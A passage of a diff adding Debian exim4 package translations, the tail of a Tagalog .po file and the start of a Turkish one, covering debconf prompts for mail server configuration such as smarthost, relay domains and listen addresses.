+msgstr ""
+"Basahin ang /usr/share/doc/exim4-base/README.Debian.gz para sa mga paalala "
+"tungkol sa pagsasaayos ng SMTP authentication."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Ang tatanggap ng koreo para sa root at sa postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Ang mga koreo para sa \"postmaster\", \"root\", at ibang mga account ng "
+"sistema ay madalas na pinapadala sa totoong account ng taong namamahala ng "
+"sistema. Kung iwanan ninyong blanko ito, ang koreong mga ito ay iimbakin sa /"
+"var/mail/mail, at hindi ito rekomendado. Dapat na mabatid na ang koreo ng "
+"postmaster ay dapat basahin sa makina kung saan ito natanggap, at hindi "
+"mungkahi na ito'y ilipat sa ibang makina, kaya't (dapat ay may isa) ang mga "
+"gumagamit na pipiliin niyo ay dapat hindi magpalipat ng kanilang koreo sa "
+"ibang makina. Gumamit ng \"real-\" na prefix upang pilitin ang paghatid na "
+"lokal."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Magbigay ng isa o higit pa na mga gumagamit na nakahiwalay ng puwang."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Mga IP address na papakinggan para sa papasok na koneksyong SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Kung iwanan ninyong blanko ito, makikinig ang Exim para sa koneksyong SMTP "
+"sa lahat ng magagamit na mga network interface."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Kung hindi tatanggap ang kompyuter na ito ng koreo ng direkta na SMTP mula "
+"sa IBANG mga makina, kundi lamang sa mga lokal na serbisyo tulad ng "
+"fetchmail o ng inyong programang pang-email (MUA) sa pakikipagusap sa "
+"localhost, dapat niyong ipagbawal ang koneksyon mula sa labas patungo sa "
+"Exim sa pagtakda nitong option na ito sa 127.0.0.1 at sa ganoong paraan ay "
+"hindi ito makikinig sa mga network interface na pampubliko."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Ilimita ang pagtanong sa DNS (Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Sa karaniwang pagtakbo ang Exim ay nagtatanong sa DNS sa umpisa, kapag ito'y "
+"nakakatanggap o nagpapadala ng mga koreo, atbp. para sa pagtatala at upang "
+"iwanan na kaunti lamang ang nakatakdang halaga sa hard-code sa tipunang "
+"pagsasaayos."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Kung ito'y makina na walang permanenteng DNS access at gumagamit ng Dial-on-"
+"Demand, maaaring ito'y magkaroon ng hindi kanais-nais na pangyayari na kapag "
+"tumakbo ang exim o pagproseso ng queue (kahit na walang mga koreong "
+"naghihintay) ay ito'y mag-trigger ng magastos na dial-up event."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+#, fuzzy
+msgid "Mail Server configuration"
+msgstr "Pangkalahatang pagsasaayos ng koreo:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Ipaghati ang pagsasaayos sa maliliit na mga tipunan?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Ang paketeng exim4 ng Debian ay maaaring gumamit ng iisang malaking tipunan "
+"(/etc/exim4/exim4.conf.template) o higit-kumulang ng 40 na maliit na tipunan "
+"sa /etc/exim4/conf.d/ upang makabuo ng kahulihang pagsasaayos."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Ang nauna ay mas-akma sa malalaking pagbabago at karaniwan ito'y mas-stable, "
+"samantalang ang nahuli ay masmadali ang pagbabago na maliliit ngunit ito'y "
+"masmadaling masira ang pagsasaayos kung ito'y madalas na baguhin."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Itago ang pangalang lokal sa palabas na koreo?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Ang mga header ng palabas na koreo ay maaaring isulat muli upang magmukhang "
+"ito'y ginawa sa ibang makina, ang pagpalit ng \"${mailname}\" \"localhost\" "
+"at \"${dc_other_hostnames}\" sa From, Reply-To, Sender at Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+#, fuzzy
+msgid "Delivery method for local mail:"
+msgstr "koreo pinapadala sa smarthost; walang lokal na koreo"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Ilipat ang hindi pa naihahatid na mga koreo mula sa exim(v3) patungo sa "
+#~ "exim4 spool?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "May mga hindi pa naihahatid na mga koreo sa spool directory ng exim o "
+#~ "exim-tls sa /var/spool/exim/input/. Maaari silang ilipat sa spool ng "
+#~ "exim4 (/var/spool/exim4/input/) ngayon kung saan sila'y maproproseso ng "
+#~ "exim4."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Dapat ninyong mabatid na gumagana ito ng isang-direksyon lamang, dahil "
+#~ "kaya ng exim4 na i-proseso ang spool ng exim(v3) ngunit hindi kaya ng exim"
+#~ "(v3) na i-proseso ang exim4."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Ilipat lamang ang mga koreo na hindi niyo balak ibalik sa exim(v3), kung "
+#~ "hindi ay hindi dapat ilipat ang mga koreo ngayon kundi mamaya ng mano-"
+#~ "mano matapos niyong mapalitan ang inyong pagkaayos."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Kung mayroon pang iba, ibigay ang mga ito dito, nakahiwalay ng mga "
+#~ "tutuldok. Maaari ninyong iwanan itong blanko kung wala."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Ibigay ang mga domain na tatanggapin niyo na kahalip kayo sa paghatid ng "
+#~ "koreo."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Ang mga domain na ito ay mga domain na handa niyong tanggapin ang koreo "
+#~ "mula kahit saan sa Internet. Huwag ibibigay ang mga lokal na domain dito."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Ang mga domain na ibibigay dito ay kailangang nakahiwalay ng mga kolon. "
+#~ "Maaaring gumamit ng mga wildcard."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Dahil pinatago ninyo ang lokal na pangalan ng makina sa palabas na koreo, "
+#~ "kinakailangan ninyong itakda ang domain name na gagamitin sa mga koreo na "
+#~ "magmumula sa mga gumagamit na lokal; madalas ay ito ay ang pangalan ng "
+#~ "makina kung saan ninyo tinatanggap ang inyong mga koreo."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Saan magbabasa ng koreo ang inyong mga gumagamit?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Pagproseso ng makina ng koreong palabas mula sa makinang ito (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Ibigay ang pangalan ng makina kung saan pinapadala ang palabas na koreo."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Itakdang enabled ang feature na ito kung kayo'y gumagamit ng Dial-on-"
+#~ "Demand; kung hindi, itakdang disabled."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Piliin ang uri ng pagsasaayos na akma sa inyong pangangailangan."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Kung hindi kayo tiyak ay hindi niyo dapat ipaghati ang pagsasaayos."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "ayusin ng mano-mano mula sa kinamay na pagsasaayos ng exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Isaayos ang Exim4 ng mano-mano?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Nasabi niyo na mayroon kayong de kamay na pagsasaayos ng Exim 3. Upang "
+#~ "malipat ito sa Exim 4, maaari niyong gamitin ang exim_convert4r4(8) "
+#~ "matapos ng pag-install. Basahin ang /usr/share/doc/exim4-base/examples/"
+#~ "example.conf.gz at /usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Hanggang maisaayos ang inyong sistemang pang-koreo, ito ay hindi "
+#~ "magagamit."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Ang \"pangalang pang-koreo\" ay ang bahaging hostname/pangalan ng address "
+#~ "na ipinapakita sa palabas na balita at koreo (susunod sa pangalan ng "
+#~ "gumagamit at ng simbolong @) maliban sa ito'y itinatago sa pagsusulat "
+#~ "muli. "
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Ibigay dito ang mga network ng mga makinang lokal na nais niyong "
+#~ "tanggapin ang mga koreo upang ipaabot ang mga ito."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Dapat ay kasama dito ang lahat ng mga makina na gagamitin tayo bilang "
+#~ "smarthost."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Kailangan na doble ang mga tutuldok sa mga address na IPv6 (hal. "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Magbigay ng talaan ng mga IP address na papakinggan na nakahiwalay ng mga "
+#~ "tutuldok. Kailangang idoble ang mga tutuldok sa mga address na IPv6 "
+#~ "(hal. 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Pagsasaayos ng Exim v4 (exim4-config)"
diff --git a/debian/po/tr.po b/debian/po/tr.po
new file mode 100644
index 0000000..b7cf4ea
--- /dev/null
+++ b/debian/po/tr.po
@@ -0,0 +1,640 @@
+# Turkish translation of exim4.
+# This file is distributed under the same license as the exim4 package.
+# Recai OktaÅŸ <roktas@debian.org> 2004, 2006.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-05-24 18:27+0200\n"
+"Last-Translator: Mert Dirik <mertdirik@gmail.com>\n"
+"Language-Team: Turkish <debian-l10n-turkish@lists.debian.org>\n"
+"Language: tr\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Kuyruk dizinindeki gönderilmeyen postalar silinsin mi?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Exim kuyruk dizini olan /var/spool/exim4/input'da henüz gönderilmemiş "
+"epostalar var. Exim'i silmeniz halinde bu epostalar ileri bir tarihte Exim "
+"tekrar kuruluncaya kadar gönderilmemiş halde muhafaza edilecektir."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Eğer bu seçenek seçilmemişse kuyruk (spool) dizini korunacak ve burada "
+"bekleyen iletilerin gönderilmesi Exim'in tekrar kurulduğu ileriki bir tarihe "
+"ertelenecektir."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Bu paket yerine exim4-config yeniden yapılandırılsın mı?"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 yapılandırması kendi başına ayrı bir paket olan exim4-config "
+"tarafından yapılmaktadır. Exim4'ü tekrar yapılandırmak için 'dpkg-"
+"reconfigure exim4-config' komutunu kullanın."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "İnternet sitesi; posta alma/gönderme doğrudan SMTP ile"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "Posta gönderme akıllı-makine ile; posta alma SMTP/fetchmail ile"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "Posta gönderme akıllı-makine ile; yerel posta yok"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "Sadece yerel dağıtım; ağ yok"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "Şu an bir yapılandırma yapma"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Posta yapılandırma türü:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Lütfen ihtiyaçlarınıza en uygun eposta sunucu yapılandırmasını seçin."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Devingen IP adresli sistemler (çevirmeli bağlantı sistemleri de dahil), "
+"diğer bir makineye posta göndermek için genellikle 'akıllı "
+"makine' (smarthost) denilen yöntemle yapılandırılmalıdır. Çünkü İnternet "
+"üzerindeki alıcı bir çok sistem spam koruması için devingen IP adreslerinden "
+"gelen epostaları engellemektedir."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Devingen IP adresi kullanan bir sistemin kendisi eposta alabilir veya yerel "
+"dağıtım bütünüyle iptâl edilebilir ('root' ve 'postmaster' epostaları "
+"haricinde)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Posta sistemi yapılandırılmamış halde mi bırakılsın?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Posta sisteminiz yapılandırılana kadar bozuk ve kullanılamaz durumda "
+"olacaktır. Yapılandırma işlemini daha sonra elle veya root olarak 'dpkg-"
+"reconfigure exim4-config' komutunu çalıştırarak gerçekleştirebilirsiniz."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Sistemin posta adı:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'posta adı' alan adı içermeyen 'nitelikli' posta adreslerinde kullanılacak "
+"alan adıdır."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Ayrıca bu ad diğer programlar tarafından da kullanılacak. Bu ad postanın "
+"gönderildiği kaynağı tanımlayan Tam Nitelikli Alan Adı (FQDN) biçiminde tek "
+"bir ad olmalıdır."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Örneğin, yerel makinedeki eposta adresiniz foo@ornek.alan şeklindeyse bu "
+"seçeneğin alacağı doğru değer ornek.alan olacaktır."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Eğer başlık yeniden yazma etkinleştirilirse, bu ad, dışarı giden epostaların "
+"Kimden: (From:) alanında gözükmeyecektir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Kendisinden posta kabul edilecek diÄŸer adresler:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Lütfen bu makinenin kendisini nihaî varış adresi olarak değerlendireceği "
+"alan adlarını noktalı virgülle ayrılmış bir liste halinde girin. Bu alanlar "
+"genel olarak 'local domains' ('yerel alanlar') ÅŸeklinde "
+"adlandırılmaktadırlar. yerel makine ismi (${fqdn}) ve 'localhost' bu listeye "
+"her zaman eklenir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Öntanımlı olarak bütün yerel alan adlarına aynı şekilde muamele "
+"edilecektir. Mesela, a.ornek ve b.ornek yerel alan adları için, hesap@a."
+"ornek ve hesap@b.ornekadresleri aynı varış noktasına sahiptir. Eğer farklı "
+"alan adlarına farklı şekilde muamele edilmesini istiyorsanız, daha sonra "
+"yapılandırma dosyalarını düzenlemeniz gerekecektir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Postaları anahtarlanacak alan adları:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Lütfen kendilerine ait postaların anahtarlanacağı ('relay' edileceği) alıcı "
+"alan adlarını noktalı virgülle ayrılmış bir liste halinde girin. Örnek "
+"olarak bu alanlar bir MX sunucusu veya eposta geçidi olabilir. Bu "
+"yapılandırma sonucunda sistem İnternet üzerinde herhangi bir yerden bu "
+"alanlar adına gelen epostaları kabul edecek ve yerel dağıtım kurallarına "
+"göre bu epostaların dağıtımını yapacaktır."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Buraya yerel alan adlarını girmeyin. Joker karakterler kullanılabilir."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Postaları anahtarlanacak makineler:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Lütfen kendilerine ait postaların koşulsuz olarak anahtarlanmasına izin "
+"verilen, yani her biri bu sistemi akıllı-makine olarak gören IP adres "
+"aralığı listesini noktalı virgülle ayrılmış bir liste halinde girin."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Burada standart adres/uzunluk biçimini kullanmalısınız (ör. 194.222.242.0/24 "
+"veya 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Eğer bu sistem diğer başka bir sistem için akıllı-makine (smarthost) olarak "
+"görev yapmayacaksa bu listeyi boş bırakın."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Yerel kullanıcılar için görünür alan adı:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Gönderilen epostalarda yerel eposta adının gizlenilmesi seçeneği "
+"etkinleştirilmiş durumda. Bu yüzden yerel kullanıcıların gönderen adresinin "
+"alan adı kısmı olarak kullanılmak üzere bu sistemin alan adının belirtilmesi "
+"gerekiyor."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "Akıllı-makinenin (smarthost) IP adresi veya makine adı:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Lütfen bu sistemin akıllı-makine olarak kullanacağı bir eposta sunucusunun "
+"makine adını veya IP adresini girin. Eğer akıllı-makine epostaları "
+"TCP/25'den farklı bir porttan kabul ediyorsa girdinin sonuna '::' ve port "
+"numarasını ekleyin (ör. ornek.akiilimakine::587 veya "
+"192.168.254.254::2525). IPv6 adreslerindeki ':' karakterleri çift "
+"yazılmalıdır."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Eğer akıllı-makine kimlik doğrulama gerektiriyorsa, SMTP kimlik doğrulama "
+"ayarları için /usr/share/doc/exim4-base dizinindeki Debian'a özgü README "
+"dosyalarına başvurun."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Root ve postmaster için posta alıcısı:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'postmaster', 'root' ve diğer sistem hesaplarına ait epostaların gerçek "
+"sistem yöneticisine ait kullanıcının hesabına yönlendirilmesi gerekiyor."
+
+#. Type: string
+#. Description
